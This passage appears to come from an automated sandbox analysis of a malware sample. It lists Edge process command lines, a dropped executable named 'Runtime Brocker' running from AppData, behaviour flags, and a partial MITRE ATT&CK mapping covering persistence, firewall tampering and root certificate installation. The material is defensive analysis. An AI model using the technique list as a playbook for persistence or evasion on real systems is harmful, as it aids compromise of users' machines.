        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe5ff73cb8,0x7ffe5ff73cc8,0x7ffe5ff73cd8
        9⤵
        
        PID:2284
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1896 /prefetch:2
        9⤵
        
        PID:3612
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 /prefetch:3
        9⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:1140
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2560 /prefetch:8
        9⤵
        
        PID:2832
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3292 /prefetch:1
        9⤵
        
        PID:2384
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3304 /prefetch:1
        9⤵
        
        PID:960
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4596 /prefetch:1
        9⤵
        
        PID:4884
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3544 /prefetch:1
        9⤵
        
        PID:4580
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4000 /prefetch:8
        9⤵
        
        PID:1328
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1996 /prefetch:8
        9⤵
        
        PID:1064
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5596 /prefetch:1
        9⤵
        
        PID:1388
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2912 /prefetch:1
        9⤵
        
        PID:1664
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5056 /prefetch:1
        9⤵
        
        PID:1304
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3544 /prefetch:1
        9⤵
        
        PID:4824
        
        C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1876,17603238521154766214,8112547794201584812,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6376 /prefetch:8
        9⤵
        
        PID:1612

C:\Users\Admin\AppData\Roaming\Runtime Brocker
"C:\Users\Admin\AppData\Roaming\Runtime Brocker"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3156

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3980

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
PID:1504

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1612

C:\Users\Admin\AppData\Roaming\Runtime Brocker
"C:\Users\Admin\AppData\Roaming\Runtime Brocker"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3292

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /0
1⤵
PID:1064

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2348

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2232

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2020

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x00000000000004D8 0x00000000000004E0
1⤵
PID:2108

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:2168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery